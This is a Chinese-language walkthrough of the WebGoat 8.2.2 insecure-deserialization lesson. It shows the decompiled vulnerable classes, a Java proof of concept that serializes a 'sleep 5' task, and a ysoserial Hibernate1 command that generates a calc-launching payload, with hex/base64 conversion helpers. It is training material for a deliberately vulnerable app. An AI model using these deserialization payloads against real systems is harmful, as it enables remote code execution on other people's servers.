Java反序列化-WebGoat
源项目:webgoat-server-8.2.2(https://github.com/WebGoat/WebGoat/releases)
Jdk:>=15(11不行)
启动命令:
1
| java -jar webgoat-server-8.2.2.jar
|
http://127.0.0.1:8080/WebGoat/login

题目java文件:webgoat-server-8.2.2.jar 解包,webgoat-server-8.2.2/BOOT-INF/lib/insecure-deserialization-8.2.2.jar再次解包,org/org.owasp.webgoat.deserialization下的文件
分析源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| package org.owasp.webgoat.deserialization;
import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.InvalidClassException; import java.io.ObjectInputStream; import java.util.Base64; import org.dummy.insecure.framework.VulnerableTaskHolder; import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController;
@RestController @AssignmentHints({"insecure-deserialization.hints.1", "insecure-deserialization.hints.2", "insecure-deserialization.hints.3"}) public class InsecureDeserializationTask extends AssignmentEndpoint { public InsecureDeserializationTask() { }
@PostMapping({"/InsecureDeserialization/task"}) @ResponseBody public AttackResult completed(@RequestParam String token) throws IOException { String b64token = token.replace('-', '+').replace('_', '/');
long before; long after; try { label71: { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)));
AttackResult var10; label64: { label63: { try { before = System.currentTimeMillis(); Object o = ois.readObject(); if (!(o instanceof VulnerableTaskHolder)) { if (o instanceof String) { var10 = this.failed(this).feedback("insecure-deserialization.stringobject").build(); break label64; }
var10 = this.failed(this).feedback("insecure-deserialization.wrongobject").build(); break label63; }
after = System.currentTimeMillis(); } catch (Throwable var12) { try { ois.close(); } catch (Throwable var11) { var12.addSuppressed(var11); }
throw var12; }
ois.close(); break label71; }
ois.close(); return var10; }
ois.close(); return var10; } } catch (InvalidClassException var13) { return this.failed(this).feedback("insecure-deserialization.invalidversion").build(); } catch (IllegalArgumentException var14) { return this.failed(this).feedback("insecure-deserialization.expired").build(); } catch (Exception var15) { return this.failed(this).feedback("insecure-deserialization.invalidversion").build(); }
int delay = (int)(after - before); if (delay > 7000) { return this.failed(this).build(); } else { return delay < 3000 ? this.failed(this).build() : this.success(this).build(); } } }
|
这里需要Java序列化的类为VulnerableTaskHolder,跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
|
package org.dummy.insecure.framework;
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.ObjectInputStream; import java.io.Serializable; import java.time.LocalDateTime; import org.slf4j.Logger; import org.slf4j.LoggerFactory;
public class VulnerableTaskHolder implements Serializable { private static final Logger log = LoggerFactory.getLogger(VulnerableTaskHolder.class); private static final long serialVersionUID = 2L; private String taskName; private String taskAction; private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) { this.taskName = taskName; this.taskAction = taskAction; this.requestedExecutionTime = LocalDateTime.now(); }
public String toString() { return "VulnerableTaskHolder [taskName=" + this.taskName + ", taskAction=" + this.taskAction + ", requestedExecutionTime=" + this.requestedExecutionTime + "]"; } private void readObject(ObjectInputStream stream) throws Exception { stream.defaultReadObject(); log.info("restoring task: {}", this.taskName); log.info("restoring time: {}", this.requestedExecutionTime); if (this.requestedExecutionTime != null && (this.requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10L)) || this.requestedExecutionTime.isAfter(LocalDateTime.now()))) { log.debug(this.toString()); throw new IllegalArgumentException("outdated"); } else { if ((this.taskAction.startsWith("sleep") || this.taskAction.startsWith("ping")) && this.taskAction.length() < 22) { log.info("about to execute: {}", this.taskAction); try { Process p = Runtime.getRuntime().exec(this.taskAction); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String line = null; while((line = in.readLine()) != null) { log.info(line); } } catch (IOException var5) { log.error("IO Exception", var5); } }
} } }
|
编写POC
VulnerableTaskHolder中不需要的删掉
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package org.dummy.insecure.framework;
import java.io.Serializable; import java.time.LocalDateTime;
public class VulnerableTaskHolder implements Serializable { private String taskName; private String taskAction; private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName,String taskAction) { this.taskName = taskName; this.taskAction = taskAction; this.requestedExecutionTime = LocalDateTime.now(); } }
|
package需要相同,不然会造成Serializable ID不一致
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package org.dummy.insecure.framework;
import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.util.Base64;
public class poc { public static void main(String[] args) throws IOException { VulnerableTaskHolder vth = new VulnerableTaskHolder("sleep","sleep 5");
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(vth); oos.close(); byte[] exploit = baos.toByteArray(); String payload = Base64.getEncoder().encodeToString(exploit); System.out.println("payload=" + payload); } }
|
ysoserial
hibernate-core-5.4.28.Final.jar
将文件 hibernate-core-5.4.28.Final.jar 放在和 ysoserial-all.jar 同一个目录,弹计算器
1
| java8 -Dhibernate5 -cp hibernate-core-5.4.28.Final.jar;ysoserial-all.jar ysoserial.GeneratePayload Hibernate1 calc > poc.bin
|
装个多个Java版本,java8是修改了java执行文件名
bin转16进制和base64
python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import base64
def out(file): f = open(file, "rb").read() print(file + ":" + "\n" + "16进制格式为:") print(f.hex() + "\n")
f_b64 = base64.b64encode(f) print("base64格式为:") print(str(f_b64) + "\n")
if __name__ == '__main__': out("poc.bin")
|
Java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import java.io.IOException; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64;
public class FileConversion { public static void main(String[] args) { String filePath = "ser.txt";
try { byte[] fileBytes = Files.readAllBytes(Paths.get(filePath));
String hexString = bytesToHex(fileBytes); System.out.println(filePath + ":\n16进制格式为:\n" + hexString);
String base64String = Base64.getEncoder().encodeToString(fileBytes); System.out.println("Base64格式为:\n" + base64String); } catch (IOException e) { e.printStackTrace(); } }
private static String bytesToHex(byte[] bytes) { StringBuilder hexString = new StringBuilder(); for (byte b : bytes) { hexString.append(String.format("%02x", b)); } return hexString.toString(); } }
|